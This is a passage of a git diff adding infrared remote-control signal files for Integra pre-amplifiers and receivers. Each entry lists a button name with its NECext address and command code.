00 00 +# +name: MUTE_ON +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 84 00 00 00 +# +name: MUTE_OFF +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 85 00 00 00 +# +name: SPEAKER_LAYOUT +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 88 00 00 00 +# +name: INPUT_DVD/BD +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 8C 00 00 00 +# +name: STANDBY/ON_TOGGLE +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CB 00 00 00 +# +name: INPUT_HIDDEN_1 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CD 00 00 00 +# +name: INPUT_HIDDEN_2 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CE 00 00 00 +# +name: INPUT_HIDDEN_3 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: CF 00 00 00 +# +name: SETUP_AUDIO +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D4 00 00 00 +# +name: AUDYSSEY_2EQ_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: RE-EQ/CINEMA_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D6 00 00 00 +# +name: LATE_NIGHT_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D7 00 00 00 +# +name: AUDIO_SELECT_WRAP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: D9 00 00 00 +# +name: MODE_THTR_DIMENSION +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DC 00 00 00 +# +name: SPK_SUB_LVL_CONTROL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir new file mode 100644 index 000000000..4d9ee1d44 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNE_PRESET_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNE_PRESET_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTE_TOGGLE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: INPUT_TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: INPUT_V3_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT_V2_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT_V1_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: MODE_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: INPUT_FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 46 00 00 00 +# +name: INPUT_AM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 47 00 00 00 +# +name: MODE_LISTEN_MODEUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SLEEP_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: SPK_TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: INPUT_V6_PC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 00 00 00 +# +name: INPUT_V4_AUX1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir new file mode 100644 index 000000000..84a80492f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: MODE_STRAIGHT_DECODE +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 52 00 00 00 +# +name: MODE_DOLBY_EX +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 53 00 00 00 +# +name: MODE_MONO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 54 00 00 00 +# +name: SETUP_VIDEO +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 87 00 00 00 +# +name: INPUT_UNIVERSAL_PORT +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 8A 00 00 00 +# +name: INPUT_USB_(FRONT) +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9E 00 00 00 +# +name: INPUT_USB_REAR +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: 9F 00 00 00 +# +name: MODE_LISTEN_MODEMOVI +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D0 00 00 00 +# +name: MODE_LISTEN_MODEGAME +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D2 00 00 00 +# +name: HDMI_OUT_NO_ANALOG +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D3 00 00 00 +# +name: HDMI_OUT_MAIN +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D4 00 00 00 +# +name: HDMI_OUT_SUB +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: D5 00 00 00 +# +name: INPUT_SIRIUS +type: parsed +protocol: NECext +address: D2 AC 00 00 +command: DB 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir new file mode 100644 index 000000000..aa7ac0a98 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir @@ -0,0 +1,380 @@ +Filetype: IR signals file +Version: 1 +# +name: 12V_TRIGGER_A_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 04 00 00 00 +# +name: 12V_TRIGGER_A_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 05 00 00 00 +# +name: 12V_TRIGGER_B_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 06 00 00 00 +# +name: 12V_TRIGGER_B_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 07 00 00 00 +# +name: 12V_TRIGGER_C_ON +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 08 00 00 00 +# +name: 12V_TRIGGER_C_OFF +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 09 00 00 00 +# +name: MODE_PLLX_MOVIE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0A 00 00 00 +# +name: MODE_PLLX_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0B 00 00 00 +# +name: MODE_PLLX_GAME +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0C 00 00 00 +# +name: MODE_NEO6_CINEMA +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0D 00 00 00 +# +name: MODE_NEO6_MUSIC +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 0E 00 00 00 +# +name: LOCK +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 14 00 00 00 +# +name: UNLOCK +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 15 00 00 00 +# +name: TUNE_DIRECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 40 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 41 00 00 00 +# +name: TUNE_SEARCH_MODE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 4D 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 5C 00 00 00 +# +name: RECALL +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 5D 00 00 00 +# +name: NET/USB_FFWD +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 80 00 00 00 +# +name: NET/USB_REW +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 81 00 00 00 +# +name: NET/USB_RETURN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 86 00 00 00 +# +name: INPUT_NET_AUDIO +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 87 00 00 00 +# +name: INPUT_MUSIC_SERVER +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 88 00 00 00 +# +name: INPUT_INTERNET_RADIO +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 89 00 00 00 +# +name: NET/USB_PLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8D 00 00 00 +# +name: NET/USB_STOP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8E 00 00 00 +# +name: NET/USB_TRACK_+ +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 8F 00 00 00 +# +name: NET/USB_TRACK_- +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 90 00 00 00 +# +name: NET/USB_PAUSE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 91 00 00 00 +# +name: NET/USB_REPEAT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 92 00 00 00 +# +name: NET/USB_MENU +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 94 00 00 00 +# +name: NET/USB_TOP_MENU +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 95 00 00 00 +# +name: NET/USB_RANDOM +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9B 00 00 00 +# +name: NET/USB_DISPLAY +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9E 00 00 00 +# +name: NET/USB_SETUP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: 9F 00 00 00 +# +name: NET/USB_UP +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C0 00 00 00 +# +name: NET/USB_DOWN +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C1 00 00 00 +# +name: NET/USB_LEFT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C2 00 00 00 +# +name: NET/USB_RIGHT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C3 00 00 00 +# +name: NET/USB_SELECT +type: parsed +protocol: NECext +address: D2 02 00 00 +command: C4 00 00 00 +# +name: NET/USB_CAPS +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D0 00 00 00 +# +name: NET/USB_DELETE +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D1 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: NET/USB_1 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D5 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: NET/USB_2 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D6 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: NET/USB_3 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D7 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: NET/USB_4 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D8 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: NET/USB_5 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: D9 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: NET/USB_6 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DA 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: NET/USB_7 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DB 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: NET/USB_8 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: NET/USB_9 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DD 00 00 00 +# +name: 0/10 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 +# +name: NET/USB_0 +type: parsed +protocol: NECext +address: D2 02 00 00 +command: DE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir new file mode 100644 index 000000000..e54d83931 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: SETUP_HOME +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C0 00 00 00 +# +name: AUDIO_BALANCE +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C1 00 00 00 +# +name: AUDIO_COAX/OPT_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C2 00 00 00 +# +name: RESOLUTION_1080P/24F +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C3 00 00 00 +# +name: MODE_THX_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C4 00 00 00 +# +name: MODE_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C5 00 00 00 +# +name: MODE_NEURAL_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C6 00 00 00 +# +name: MODE_NEURAL_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C7 00 00 00 +# +name: RESOLUTION_SOURCE +type: parsed +protocol: NECext +address: D2 19 00 00 +command: C9 00 00 00 +# +name: RESOLUTION_THRU +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CA 00 00 00 +# +name: RESOLUTION_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CB 00 00 00 +# +name: RESOLUTION_480P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CC 00 00 00 +# +name: RESOLUTION_720P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CD 00 00 00 +# +name: RESOLUTION_1080I +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CE 00 00 00 +# +name: RESOLUTION_1080P +type: parsed +protocol: NECext +address: D2 19 00 00 +command: CF 00 00 00 +# +name: AUDIO_AUTO +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D0 00 00 00 +# +name: AUDIO_ANALOG +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D1 00 00 00 +# +name: AUDIO_MULTI_CHANNEL +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D2 00 00 00 +# +name: AUDIO_HDMI +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D3 00 00 00 +# +name: MODE_PLLX_THX_MUSIC +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D4 00 00 00 +# +name: MODE_PLLX_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D6 00 00 00 +# +name: MODE_NEO_THX_GAMES +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D7 00 00 00 +# +name: MODE_NEURAL_THX_GAME +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D7 00 00 00 +# +name: MODE_PLLX_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: D8 00 00 00 +# +name: MODE_THX_CINEMA +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DA 00 00 00 +# +name: MODE_THX_SURR_EX +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DB 00 00 00 +# +name: MODE_THX_ULTRA2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DC 00 00 00 +# +name: MODE_THX_MUSIC_MODE2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DD 00 00 00 +# +name: MODE_THX_GAMES_MODE2 +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DE 00 00 00 +# +name: MODE_NEURAL_THX_SURR +type: parsed +protocol: NECext +address: D2 19 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir new file mode 100644 index 000000000..ce1ecf12f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: AUDIO_ARC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: AUDYSSEY_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: AUDYSSEY_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_HIGH +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_LOW +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_MID +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DOLBY_VOL_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYMANIC_EQ_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_EQ_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_EQ_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_HEAVY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_LIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_MEDIU +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: DYNAMIC_VOLUME_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_AUDIO_OUT_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_AUDIO_OUT_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_AUDIO_OUT_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_OUT_BOTH +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_OUT_BOTH_MAIN +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: HDMI_OUT_BOTH_SUB +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_CINEMA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_CUSTOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_DAY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_GAME +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_MODE_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_NIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: ISF_THROUGH +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_AUDYSSEY_DSX +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_DOLBYEX_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_FULL_MONO +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_ACTION +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_ROCK +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_RPG +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_GAME_SPORTS +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6_MUSIC_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6_THX_CINEMA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6_THX_MUSIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEO6CINEMA_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_NEURAL_DIGITAL +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_ORCHESTRA +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLX_GAME_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLX_MOVIE_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLX_MUSIC_AUDY +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_H+GAMES +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_H+THXCINEM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_H+THXMUSIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_PLLZ_HEIGHT +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_STUDIO_MIX +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODE_TV_LOGIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODEPLLZH+THXU2CINEM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODEPLLZH+THXU2GAMES +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MODEPLLZH+THXU2MUSIC +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MUSIC_OPTIMIZER_OFF +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MUSIC_OPTIMIZER_ON +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: MUSIC_OPTIMIZER_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_4:3 +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_FULL +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_SMART_ZOOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_WIDE_ZOOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_WRAP +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: WIDE_MODE_ZOOM +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: VOLUME_DOWN_1DB +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 +# +name: VOLUME_UP_1DB +type: parsed +protocol: NECext +address: D2 1E 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir new file mode 100644 index 000000000..1958e8133 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: DOCK_STOP +type: parsed +protocol: NECext +address: D2 01 00 00 +command: C7 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 01 00 00 +command: C7 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir new file mode 100644 index 000000000..318d7a01f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir @@ -0,0 +1,1532 @@ +Filetype: IR signals file +Version: 1 +# +name: IN_MULTI_CH +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: MULTI_CHANNEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: MULTI-CH +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: MULTICHANNEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: INPUT:_MULTI_CHANNEL +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: MULTI_CH +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 04 00 00 00 +# +name: DSP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP>> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: MODE:_DSP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: MODE_DSP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP_+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP_> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 8_/_DSP+ +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP> +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 3_(DSP_UP) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: DSP_UP +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 18 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: DSP<< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: MODE:_DSP_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: MODE_DSP_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: DSP- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: DSP< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: DSP_< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: 7_/_DSP- +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: DSP< +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: 6_(DSP_DN) +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 +# +name: DSP_DOWN +type: parsed +protocol: NECext +address: D2 6C 00 00 +command: 19 00 00 00 